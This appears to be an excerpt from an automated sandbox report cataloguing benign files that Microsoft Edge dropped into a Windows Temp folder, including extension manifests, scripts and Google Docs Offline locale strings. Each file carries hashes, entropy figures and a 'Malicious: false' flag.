Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........%0............G.m.}...CG.....a.s.:.S..QiI.fT.k.MdOF.2....D...v`m...M.7'.R.d...8....2..~.<w8!.W..Sg.._A6.(.pC..w.=..!..7h!J...].....3......Kf..k...\|....6./.p.....A....e.1.y.<~Mu..+(v8W........?=.V+.Gb&...u8)...=Qt...... ......x.}.f..&X.SN9e..L....[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...G0E.!....~..E...Au.C.q..y.?2An.a..Zn}. H~.vtgI...o.\|.j.e....p.........".&...........Z]o.H..+..zF.......S.E}@.F..".P`...3......jW....H.H...:..8.......<...........Z.e.>..vV.......J.,/.X.....?.%.....6....m#.u].Z...[.s.M_...J.."9l..l...,\|.....r...QC.....4:....wj.O...5....s.n.%.....y....c.....#F........)gv(..!S

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2110
Entropy (8bit):	5.408249641946406
Encrypted:	false
SSDEEP:	48:Yzj57SnaJ57H57Uv5W1Sj5W175zuR5z+5zn071eDJk5c1903bj5jJp0gcU854Rr0:8e2Fa116uCntc5toYvTqERM
MD5:	B0DA5975707F80966C2D8F15F3D35B69
SHA1:	236B082487E846375812D25C90B07203E12559B8
SHA-256:	836A2814FDF850B0B898FC8168531096B089D925113110A3FA8F9C8772444829
SHA-512:	288782A82EE890821BF5AE0E073B6777B61F59DF6D8868596AA64FB7AB86E15D95A05066A2C95955FA3E8F6CCFD83225C033E8AB05FC85DB5FD801347CB4F896
Malicious:	false
Preview:	{"logTime": "1004/133448", "correlationVector":"vYS73lRT+EoO2Owh9jsc+Y","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"n/KhuHPhHmYXokB31+JZz7","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"fclQx26bUZO07waFEDe6Fn","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"0757l0tkKt37vNrdCKAm8w","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133449", "correlationVector":"uTRRkmbbqkgK/wPBCS4fct","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133449", "correlationVector":"2DrXipL1ngF91RN7IemK0e","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"d0GyjEgnW85fvDIojHVIXI","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"PvfzGWRutB/kmuXUK+c8XA","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"29CB75FBC4C942E0817A1F7A0E2CF647

C:\Users\user\AppData\Local\Temp\d34d71d3-c9b0-46ed-ba84-93ce8db744f6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\d4f80188-1b4e-46cd-8d29-ea4812f480e3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1366x720, components 3
Category:	dropped
Size (bytes):	206855
Entropy (8bit):	7.983991878155761
Encrypted:	false
SSDEEP:	3072:5WcDW3D2an0GMJGqJCj+1ZxdmdopHjHTFYPQyairiVoo4XSWrPoiXvJddppWmEIx:l81Lel7E6lEMVo/S01fDpWmEgr
MD5:	03E0A41C7EF64C946D818C2F5E4B7EC3
SHA1:	B3FEB76961D6A54EB9566EAC7E688BC55394B672
SHA-256:	CA2E03394F3B161D3A1E25F6A77B28EFDAB1D7989A0A1C2B6FC1764D8C27B7C7
SHA-512:	3F775790206CADE3A9CFBDCC3C081611330D525222D43085749A98D975B779109DF305799C53386E4B251D1D892735F5B4B31E6CD95475D0606BDD13BDB24001
Malicious:	false
Preview:	......Exif..II.................Ducky.......2......Adobe.d...........................................................#"""#''''''''''..................................................!! !!''''''''''........V.."....................................................................................!1..AQ..aq."2....R..T....Br.#S.U..b..3Cs...t6.c.$D.5uV...4d.E&....%F......................!1..AQaq....."2......BRbr3CS....#..4.............?......1f.n..T......TP....E...........P.....@.........E..@......E.P........@........E.....P.P..A@@.E..@.P.P..AP.P..AP..@....T..AP.E..P.Z .. ....."... .....7.H...w.....t.....T....M.."... P..n.n..t5..B.P..(......................................( .................... .".... .".......(.. ."....... ....o......E.6... ....."........."J......Ah......@.@@....:@{6..wCp..3...((.(.........................@..(...."............................ ........T.......@.@@........AP.P..@.E@....E@.d.E@.@@..@.P.T..@..@..P.D...@M........EO..."...=.wCp.....R......P.@......

C:\Users\user\AppData\Local\Temp\e9be8686-cce2-4222-a35d-7338c2e26b66.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 41900
Category:	dropped
Size (bytes):	76321
Entropy (8bit):	7.996057445951542
Encrypted:	true
SSDEEP:	1536:hS5Vvm808scZeEzFrSpzBUl4MZIGM/iys3BBrYunau6wpGzxue:GdS8scZNzFrMa4M+lK5/nXexue
MD5:	D7A1AC56ED4F4D17DD0524C88892C56D
SHA1:	4153CA1A9A4FD0F781ECD5BA9D2A1E68C760ECD4
SHA-256:	0A29576C4002D863B0C5AE7A0B36C0BBEB0FB9AFD16B008451D4142C07E1FF2B
SHA-512:	31503F2F6831070E887EA104296E17EE755BB6BBFB1EF2A15371534BFA2D3F0CD53862389625CF498754B071885A53E1A7F82A3546275DB1F4588E0E80BF7BEE
Malicious:	false
Preview:	...........m{..(.}...7.\...N.D.w..m..q....%XfL.I.ql..;/.....s...E...0....`..A..[o^.^Y...F_.'..."L...^.......Y..W..l...E0..YY...:.&.u?....J..U<.q."...p.ib:.g..^.q.mr.....^&.{.E.....,EAp.q.......=.=.....z^.,d.^..J.R..zI4..2b?.-D5/.^...+.G..Y..?5..k........i.,.T#........_DV....P..d2......b\..L....o....Z.}../....CU.$.-..D9`..~......=....._.2O..?....b.{...7IY.L..q....K....T..5m.d.s.4.^... ..~<..7~6OS..b...^>.......s..n....k."..G.....L...z.U...... ... .ZY...,...kU1..N...(..V.r\$..s...X.It...x.mr..W....g........9DQR....*d......;L.S.....G... .._D.{.=.zI.g.Y~...`T..p.yO..4......8$..v.J..I.%..._.d.[..du5._._...?\..8.c.....U...fy.t....q.t....T@.......:zu..\,.!.I..AN_.....FeX..h.c.i.W.......(.....Y..F...R%.\..@.. 2(e,&.76..F+...l.t.$..`...........Wi.{.U.&(.b}...}.i..,...k....!..%...&.c..D-."..SQ.......q9....)j....7.".N....AX...).d./giR....uk.....s.....^...........:...~......(hP..K.@.&..?.E0:+D\|9...U.q.cu..)t{.e...X...{.....z......LL&I6.=.

C:\Users\user\AppData\Local\Temp\scoped_dir5300_87695250\62716700-4266-43ac-b177-2b7e17c825d6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\scoped_dir5300_87695250\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir5300_87695250\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir5300_87695250\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir5300_87695250\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5300_986477270\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir5300_986477270\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5300_986477270\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir5300_986477270\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir5300_986477270\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5300_986477270\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir5300_986477270\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
